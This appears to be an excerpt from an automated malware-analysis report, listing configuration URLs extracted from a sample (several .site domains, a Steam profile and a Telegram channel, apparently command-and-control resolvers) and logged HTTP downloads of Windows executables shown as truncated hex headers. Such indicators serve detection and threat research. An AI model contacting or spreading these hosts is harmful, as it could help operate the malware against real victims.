Source: Malware configuration extractor	URLs: famikyjdiag.site
Source: Malware configuration extractor	URLs: agentyanlark.site
Source: Malware configuration extractor	URLs: delaylacedmn.site
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869
Source: Malware configuration extractor	URLs: https://t.me/jamsemlg

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:22:26 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:22:32 GMTContent-Type: application/octet-streamContent-Length: 685392Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-a7550"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:22:32 GMTContent-Type: application/octet-streamContent-Length: 608080Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-94750"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:22:33 GMTContent-Type: application/octet-streamContent-Length: 450024Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-6dde8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:22:33 GMTContent-Type: application/octet-streamContent-Length: 257872Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-3ef50"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:22:35 GMTContent-Type: application/octet-streamContent-Length: 80880Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-13bf0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 10:22:35 GMTContent-Type: application/octet-streamContent-Length: 2046288Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-1f3950"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
